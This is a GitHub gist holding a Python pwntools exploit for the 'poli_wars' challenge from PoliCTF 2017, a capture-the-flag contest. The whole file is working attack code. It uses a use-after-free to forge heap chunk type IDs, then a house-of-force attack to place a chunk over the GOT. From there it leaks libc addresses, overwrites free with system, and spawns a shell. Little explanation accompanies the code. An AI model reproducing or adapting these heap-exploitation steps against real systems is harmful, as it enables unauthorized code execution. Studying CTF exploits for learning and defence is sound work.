Skip to content

Instantly share code, notes, and snippets.

@m1ghtym0
Created July 14, 2017 02:36
Show Gist options
  • Save m1ghtym0/f6280a346b27023d11c3c52d3784ea38 to your computer and use it in GitHub Desktop.
Save m1ghtym0/f6280a346b27023d11c3c52d3784ea38 to your computer and use it in GitHub Desktop.
Exploit for poli_wars challenge from PoliCTF 2017
from pwn import *
from re import findall
from ctypes import c_int32
# GLOBAL VARS
elf = ELF('./poli_wars')
libc = ELF('/usr/lib32/libc.so.6')
XWING_SIZE = 0x24 + 4
Z95_SIZE = 0x1c + 4
def read_menu(s):
s.recvuntil('5. Surrender_\n')
return
def read_fleet_menu(s):
s.recvuntil('support vehicle_\n')
def send_choice(s, choice):
s.sendline(str(choice))
return
def face_deathstar(s, choice, wait):
send_choice(s, 1)
s.recvuntil('0 to use all your fleet!')
send_choice(s, choice)
if wait:
s.recvuntil('|_______|\n')
return
def expand_fleet(s, choice, name):
send_choice(s, 2)
read_fleet_menu(s)
send_choice(s, choice)
if choice == 1:
if 'deployed' not in s.recvline():
log.error('smth wrong')
s.recvline()
s.sendline(name)
elif choice == 2:
if 'deployed' not in s.recvline():
log.error('smth wrong')
s.recvline()
s.sendline(name)
elif choice == 3:
if 'deployed' not in s.recvline():
log.error('smth wrong')
s.recvline()
s.sendline(name)
elif choice == 4:
if 'Chewie' not in s.recvline():
log.error('smth wrong')
return
def arm_fleet(s, choice, ship, i0=None, i1=None, i2=None, i3=None, i4=None, i5=None, i6=None):
send_choice(s, 3)
s.recvline()
send_choice(s, choice)
s.recvline() # starship type
if ship == 'xwing':
arm_xwing(s,i0, i1, i2, i3, i4, i5, i6)
elif ship == 'z95':
arm_z95(s,i0, i1, i2, i3, i4, i5)
elif ship == 'bwing':
arm_bwing(s, i0, i1, i2, i3, i4)
elif ship == 'falcon':
arm_falcon(s, i0, i1, i2, i3, i4, i5)
return
def arm_xwing(s, l1, l2, l3, l4, c1, c2, name):
s.recvline()
s.sendline(l1)
s.recvline()
s.sendline(l2)
s.recvline()
s.sendline(l3)
s.recvline()
s.sendline(l4)
s.recvline()
s.sendline(c1)
s.recvline()
s.sendline(c2)
s.recvline()
s.send(name)
return
def arm_bwing(s, t1, t2, l1, l2, c1, name):
s.recvline()
s.sendline(t1)
s.recvline()
s.sendline(t2)
s.recvline()
s.sendline(l1)
s.recvline()
s.sendline(l2)
s.recvline()
s.sendline(c1)
s.recvline()
s.send(name)
return
def arm_z95(s, b1, b2, c1, c2, name):
s.recvline()
s.sendline(b1)
s.recvline()
s.sendline(b2)
s.recvline()
s.sendline(c1)
s.recvline()
s.sendline(c2)
s.recvline()
s.send(name)
return
def arm_falcon(s, l1, l2, l3, l4, s1, name):
s.recvline()
s.sendline(l1)
s.recvline()
s.sendline(l2)
s.recvline()
s.sendline(l3)
s.recvline()
s.sendline(l4)
s.recvline()
s.sendline(s1)
s.recvline()
s.send(name)
return
def examine_your_fleet(s):
send_choice(s, 4)
return s.recvrepeat()
def recv_xwing(content):
#s.recvline()
l1, l2 = findall(r' 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1]
l3, l4 = findall(r'Laser 3 charge: ([-\d]+) Laser 4 charge: ([-\d]+)', content)[-1]
p1, p2 = findall(r'Proton cannon 1 charge: ([-\d]+) Proton cannon 2 charge: ([-\d]+)', content)[-1]
name = findall(r'Pilot: (.*)', content)[-1]
return (l1, l2, l3, l4, p1, p2, name)
def recv_z95(content):
#s.recvline()
lines = s.recvlines(3)
print lines
b1, b2 = findall(r' 1 charge: ([-\d]+) Blaster 2 charge: ([-\d]+)', content)[-1]
c1, c2 = findall(r'Ion cannon 1 charge: ([-\d]+) Proton cannon 1 charge: ([-\d]+)', content)[-1]
name = findall(r'Pilot: (.*)', content)[-1]
return (b1, b2, c1, c2, name)
def recv_bwing(content):
#s.recvline()
lines = s.recvlines(4)
t1, t2 = findall(r' torped 1 charge: ([-\d]+) Proton torpedo 2 charge: ([-\d]+)', content)[-1]
l1, l2 = findall(r'Laser 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1]
p1, p2 = findall(r'Proton cannon 1 charge: ([-\d]+) Composite laser beam charge: ([-\d]+)', content)[-1]
name = findall(r'Pilot: (.*)', content)[-1]
return (t1, t2, l1, l2, p1, p2, name)
def recv_falcon(content):
#s.recvline()
lines = s.recvlines(4)
l1, l2 = findall(r' 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1]
l3, l4 = findall(r'Laser 3 charge: ([-\d]+) Laser 4 charge: ([-\d]+)', content)[-1]
s1 = findall(r'Shields charge: (.*)', content)[-1]
name = findall(r'Pilot: (.*)', content)[-1]
return (l1, l2, l3, l4, s1, name)
def intro(s):
line = s.recvline()
s.recvuntil('this time')
s.sendline('')
s.recvuntil('IT ANYMORE..\n')
heap, magic = findall(r'Initial heap: ([0-9a-fx]+), malloc of (\d+)\n', line)[0]
return heap, magic
def leak_heap(s):
read_menu(s)
send_choice(s, 6)
line = s.recvline()
heap, magic = findall(r'Many Bothan hackers died to bring us this information. ([0-9a-fx]+) - ([0-9a-f]+)\n', line)[0]
return int(heap, 16), int(magic, 16)
def create_chunk(s, ship, name=None):
read_menu(s)
if ship == 'xwing':
expand_fleet(s, 1, name)
if ship == 'z95':
expand_fleet(s, 2, name)
if ship == 'bwing':
expand_fleet(s, 3, name)
if ship == 'falcon':
expand_fleet(s, 4, name)
def fill_chunk(s, index, ship, i0=None, i1=None, i2=None, i3=None, i4=None, i5=None, i6=None):
read_menu(s)
arm_fleet(s, index, ship, i0, i1, i2, i3, i4, i5, i6)
def print_chunk(s, ship):
#read_menu(s)
content = examine_your_fleet(s)
if ship == 'xwing':
return recv_xwing(content)
if ship == 'z95':
return recv_z95(content)
if ship == 'bwing':
return recv_bwing(content)
if ship == 'falcon':
return recv_falcon(content)
#return contents[index]
def free_chunk(s, index):
read_menu(s)
face_deathstar(s, index, True)
def free_pwn(s, index):
read_menu(s)
face_deathstar(s, index, False)
def check_offset(heap_offset):
if heap_offset & 0xff0000 != 0xff0000:
return False
return True
'''
Use UAF to get a millenium falcon.
The ship IDs string is the fwd-pointer of a freed chunk,
so the idea is to get a free z95 ship with a fwd-ptr == 'xw\x00',
which is then (due to the UAF) treaded as a xwing which 8 bytes bigger
than a z95 so when can overflow into the next chunks ID field and set it
to a 'fl\x00'
'''
def get_a_millenium_falcon(s, heap_start, magic):
global XWING_SIZE, Z95_SIZE
# Check heap addr
#heap_start, magic = leak_heap(s)
log.info('Heap start = 0x{:08x}'.format(heap_start))
#if heap_start & 0xff0000 != 0xff0000:
# log.error('Bad heap offset, try again')
heap_target = (heap_start & 0xff000000) + 0x01007778 + 8 # 0x007778 has to be the start of the chunk -> +8 is fwd-ptr
log.info('Heap target = 0x{:08x}'.format(heap_target))
offset = heap_target - heap_start - 0x10
chunk_cnt = 0
#create xwings
while offset % 0x20:
create_chunk(s, 'xwing', 'AAAA')
chunk_cnt += 1
offset -= XWING_SIZE
# create z95s
for i in range((offset/0x20)+1):
create_chunk(s, 'z95', 'AAAA')
chunk_cnt += 1
# create_millenium_target
create_chunk(s, 'z95', 'AAAA')
chunk_cnt += 1
# create_final_target
#create_chunk(s, 'z95', 'BBBB')
# setup ebp-0x10 to 0, so this write goes through: 0x08048C13 mov dword ptr [eax], 0
log.info('Heap setup finished')
log.info('Creating fake millenium falcon')
#print_chunk(s, 0)
examine_your_fleet(s)
# create_free list
free_chunk(s, chunk_cnt-2)
free_chunk(s, chunk_cnt-3)
# we have to cleanup the second (last) chunk in the free list again, so it's next pointer points to zero again
# therefore we have to do an extra step
# overflow id field of chunk_cnt-1 with xw
payload = ''
payload += p32(0x21) # size field
payload += 'xw\0\0\n' #fwd_ptr
fill_chunk(s, chunk_cnt-3, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload)
# overflow id field of chunk_cnt with fl
payload = ''
payload += p32(0x21) # size field
payload += 'fl\0\0\n' #fwd_ptr
fill_chunk(s, chunk_cnt-2, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload)
# overflow id field (fwd-ptr) of chunk_cnt-1 with 0
payload = ''
payload += p32(0x21) # size field
payload += '\0\0\0\0\n' #fwd_ptr
fill_chunk(s, chunk_cnt-3, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload)
log.info("Created millenium falcon")
return chunk_cnt-1, heap_target
def house_of_force(target, heap_addr):
global elf, libc
# trigger hof by filling the millenium falcon
payload = ''
payload += p32(0x20) # prev_size
payload += p32(0xffffffff) # size field
payload += p32(0x0) #fwd_ptr
payload += p32(0x0) #bck_ptr
payload += '\n'
fill_chunk(s, target, 'falcon', i0='41', i1='42', i2='43', i3='44', i4='0', i5=payload) # i4 has to be 0 -> %s doesn't die
if 'Force is strong' in s.recvline():
log.info('Allocating chunk before GOT')
# target addr &(wilderness.size) fwd_ptr offset
target_offset = ((elf.got['strcmp']-8) - (heap_addr + 0x40 - 4)) - 4
s.sendline(str(target_offset))
# dummy gets first of freelist, setting &GOT as head of freelist
create_chunk(s, 'xwing', 'AAAA')# -> target+1
# allocate chunk right over got
create_chunk(s, 'xwing', 'bumo')# -> target+2
'''
vaddr=0x0804e00c paddr=0x0000500c type=SET_32 strcmp
vaddr=0x0804e010 paddr=0x00005010 type=SET_32 printf
vaddr=0x0804e014 paddr=0x00005014 type=SET_32 fflush
vaddr=0x0804e018 paddr=0x00005018 type=SET_32 free
vaddr=0x0804e01c paddr=0x0000501c type=SET_32 getchar
vaddr=0x0804e020 paddr=0x00005020 type=SET_32 fgets
vaddr=0x0804e024 paddr=0x00005024 type=SET_32 __stack_chk_fail
'''
#result = print_chunk(s, target+2-1)
result = print_chunk(s, 'xwing')
strcmp_addr, printf_addr, fflush_addr, free_addr, getchar_addr, fgets_addr = map(lambda c: int(c)%2**32, result[:-1])
libc.address = free_addr - libc.symbols['free']
#import IPython; IPython.embed()
log.info('strcmp @ 0x{:08x}'.format(strcmp_addr))
log.info('printf @ 0x{:08x}'.format(printf_addr))
log.info('fflush @ 0x{:08x}'.format(fflush_addr))
log.info('free @ 0x{:08x}'.format(free_addr))
log.info('getchar @ 0x{:08x}'.format(getchar_addr))
log.info('fgets @ 0x{:08x}'.format(fgets_addr))
log.info('libc-base @ 0x{:08x}'.format(libc.address))
log.info('system @ 0x{:08x}'.format(libc.symbols['system']))
strcmp_addr, printf_addr, fflush_addr, free_addr, getchar_addr, fgets_addr = result[:-1]
fill_chunk(s, target+2, 'xwing', i0=strcmp_addr, i1=printf_addr,
i2=fflush_addr, i3=str(c_int32(libc.symbols['system']).value), i4=getchar_addr,
i5=fgets_addr, i6='boomo\n')
# target = cnt-1 -> overlfow: target-2 -> target-1
payload = ''
payload += p32(0x21) # size field
payload += 'sh\x00\n' #fwd_ptr
fill_chunk(s, target-2, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload)
log.info('Overwrote free@libc with system@libc')
log.success('Get ready for bomoooo')
free_pwn(s, target-1)
s.interactive()
# EXPLOIT
context.clear()
#context(os='linux', arch='i386', log_level='debug', bits=32)
context(os='linux', arch='i386', log_level='info', bits=32)
H,P = 'poliwars.chall.polictf.it', 31337
correct_offset = False
while not correct_offset:
#s = remote(H,P,timeout=5)
s = process("./poli_wars", timeout=2)
heap, offset = intro(s)
heap_start, magic = leak_heap(s)
correct_offset = check_offset(heap_start)
if not correct_offset:
s.close()
log.info('Got correct heap offset, let\'s go!')
print "PID: {}".format(util.proc.pidof(s))
pause()
falcon_index, heap_target = get_a_millenium_falcon(s, heap_start, magic)
house_of_force(falcon_index, heap_target)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment